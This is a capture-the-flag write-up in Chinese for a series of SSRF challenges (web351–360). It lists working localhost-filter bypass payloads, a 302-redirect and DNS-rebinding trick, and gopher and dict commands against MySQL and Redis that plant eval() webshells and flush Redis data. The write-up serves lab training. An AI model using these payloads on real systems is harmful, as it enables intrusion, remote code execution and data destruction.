web 351
直接读取本地文件
url=file:///var/www/html/flag.php
url=127.0.0.1/flag.php
web352
这里要求是http或者https协议,只需要满足这个就可以了。
url=http://localhost/flag.php
url=http://127.0.0.1/flag.php
url=http://127.1/flag.php
url=http://0.0.0.0/flag.php
url=http:/0/flag.php
url=http://127.127.127.127/flag.php
url=http://127。0。0。1/flag.php
url=http://0x7F.0.0.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://2130706433/flag.php
url=http://0x7F000001/flag.php
web353
url=http://127.1/flag.php
url=http://0177.0.0.1/flag.php
url=http://0x7F000001/flag.php
url=http://0x7F.0.0.1/flag.php
url=http://2130706433/flag.php
url=http://0.0.0.0/flag.php
借助352的一大堆可以打。
web354
http://sudo.cc这个是解析到127.0.0.1的域名,直接用即可。
url=http://sudo.cc/flag.php
web355
因为$host<5,所以构造个小于5的payload就可以了。
url=http://127.1/flag.php
url=http://0/flag.php
web356
$host小于3
url=http://0/flag.php
web357
PHP FILTER_VALIDATE_IP 过滤器 | 菜鸟教程
这题过滤了,不能访问内网的IP,有两个方法来完成这题。
一、302跳转
在服务器上新建一个302.php,内容如下:
<?php
header("Location:http://127.0.0.1/flag.php");
二、Dns重绑定
CEYE - Monitor service for security testing
在上面这个平台注册后,它会给你一个域名,把dns重绑定的东西改成下面。第一个写公网的IP,第二个写127.0.0.1。
大致的原理是:
输入payload,在waf检查的时候,本地Dns服务器向Dns服务器发起请求,解析域名,刚好重绑定到公网的1.1.1.23。
然后在file_get_contents($url);读取文件时,TLE时间快速失效,Dns服务器缓存清空,得重新对域名进行解析,这时恰好重绑定到127.0.0.1这个ip,顺利读到内网的文件。
因为这个dns重绑定解析到哪个ip是随机的,有可能第一个是127.0.0.1,第二个也是127.0.0.1,这个得看运气。也有可能在过waf的时候就解析到1.1.1.23,读取文件的时候解析到127.0.0.1,直接一次成功。
所以得多试几次
具体的可以看一下大佬的文章。
web358
.*是正则表达的贪婪法制,匹配尽可能多的字符。
url=http://ctf.@127.0.0.1/flag.php?show
url=http://ctf.@127.0.0.1/flag.php#show
为什么访问的是@后面的127.0.0.1,这与parse_url的解析有关。
web359
题目提示打无密码的mysql,这里感觉也算是盲打了,第一是不知道secure_file_priv的值,也就是说允不允许导入导出;第二是不知道当前网站路径有没有写入权限;
因为是无密码的mysql,有三种利用方式。
一是可以构造原生数据包通过gopher查数据库的数据
二是写webshell
三是UDF提权
先一个个来试吧,因为第一和第三种有点麻烦,先试一下最简单的第二种。
打开gopher小工具https://github.com/tarunkant/Gopherus
使用方式:
python2 gopherus.py --exploit mysql
Give MySQL username: root
Give query to execute: select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"
将得的结果在_后面再url全编码一次。
访问url/1.php,然后在post处命令执行。
web360
和上题差不多的方法,用gopher打redis。
可能是写webshell、反弹shell、写公钥,也是得一个个试。
这题的话是写webshell,直接利用小工具
What do you want?? (ReverseShell/PHPShell): phpshell
Give web root location of server (default is /var/www/html): Give PHP Payload (We have default PHP Shell): <?php eval($_POST[1]);?>
URL编码一下_后面的内容,生成的webshell默认是shell.php中
发的包会超时,但是没事,shell.php还是生成了。
刚想起另外一个骚姿势,其实也和用gopher生成的差不多,原理都是差不多,只不过这个用的是dict协议。
# 清空 key
flushall# 设置要操作的路径为网站根目录
config set dir /var/www/html# 在网站目录下创建 shell.php 文件
config set dbfilename shell.php# 设置 shell.php 的内容
set x "\n<?php eval($_GET[1]);?>\n"# 保存上述操作
save
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/config set dir /var/www/html
dict://127.0.0.1:6379/config set dbfilename shell.php
dict://127.0.0.1:6379/set x "\n<?php eval($_GET[1]);?>\n"
dict://127.0.0.1:6379/save
在第四步写一句话的时候得换成代码的十六进制,直接写的话,可能是得转义或者过滤的原因,问号过不了,会显示命令执行失败,先把一句话在bp转成ascll的十六进制。
在写入的时候每两位插入一个\x,以表示代码的十六进制。
最后在shell.php执行system('cat /f*');就行了。